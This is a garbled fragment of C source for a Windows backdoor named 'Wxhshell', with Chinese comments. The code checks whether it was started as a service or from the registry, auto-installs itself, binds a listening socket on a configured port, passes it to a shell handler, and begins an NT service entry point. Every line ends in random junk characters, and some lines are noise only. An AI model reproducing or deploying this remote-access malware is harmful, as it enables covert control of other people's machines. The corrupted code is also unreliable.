DWORD AffinityMask; ^Lgvey%
DWORD BasePriority; e-ta 7R4
ULONG UniqueProcessId; P5<9;PPbZ
ULONG InheritedFromUniqueProcessId; A O:F*%Q u
} PROCESS_BASIC_INFORMATION; c#N4XsG,
lr>NG,N
PROCNTQSIP NtQueryInformationProcess; f(|k0$EIu
d&NnpjH}c
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ynIC (t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q ]CMm2L^f
@njNP^'Kx
HANDLE hProcess; :8)Jnh\5
PROCESS_BASIC_INFORMATION pbi; 'v]0;~\mp>
$NVVurXa
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YcobK#c
if(NULL == hInst ) return 0; t<8)h8eW
/q IQE&V-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |_TiF;^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >
ubq{'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7\
_MA!:<
q%4X1 W
if (!NtQueryInformationProcess) return 0; S oeoUI]m
k9x[(
#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RTc@`m3 M
if(!hProcess) return 0; 4^W!,@W
|c/=9Bb
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z{W Cw
PGP#$JC
CloseHandle(hProcess); iM<$
n2t
B5z'Tq1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?sk>Mzr
if(hProcess==NULL) return 0; f`hZb
=VD],R)
HMODULE hMod; >_2~uF@pb
char procName[255]; n&:ohOH%
unsigned long cbNeeded; n*7^lAa2
\\dUp>1=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BXYHJ
AmF[#)90P
CloseHandle(hProcess); vu+g65"
Ah2 {kK
if(strstr(procName,"services")) return 1; // 以服务启动 _2jL]mB
PB@IPnB-
return 0; // 注册表启动 VgNB^w
} N\PdX$
Ur])*#
// 主模块 ,4Q4{Tx
int StartWxhshell(LPSTR lpCmdLine) YCDH 0M
{ SI!A?34
SOCKET wsl; |P>7C
BOOL val=TRUE; #sw4)*v
int port=0; v.(dOIrX
struct sockaddr_in door; 4QA~@pBX^{
n2K1X!E$
if(wscfg.ws_autoins) Install(); CV
@P
+
|}4\Gm
port=atoi(lpCmdLine); f}bq
r84^/+"T
if(port<=0) port=wscfg.ws_port; ~lo43$)^
C+TB>~Gv`
WSADATA data; wtYgHC}X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fx:38Ae
~$u9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g=t`3X#d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v'i'I/
door.sin_family = AF_INET; )h}IZSm
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *S}@DoXS
door.sin_port = htons(port); T01Iu
OIPY,cj~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u!K1K3T6k
closesocket(wsl); FoetP`
return 1; xF[%R{Mn'
} 8s)b[Z5
]CzK{-W
if(listen(wsl,2) == INVALID_SOCKET) { :K6JrS
closesocket(wsl); W0f^!}f(
return 1; PLkS-B
} :i<*~0r<
Wxhshell(wsl); zP,r,ok7
WSACleanup(); 4k225~GQ:C
D./{f8
return 0; E]'
f&0s
(u &x.J
} Or? )Nlg6x
7FE36Ub9
// 以NT服务方式启动 tKV,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jfMkN
{ qx ki
DWORD status = 0; {'M<dI$
DWORD specificError = 0xfffffff; -Rpra0o.
C
<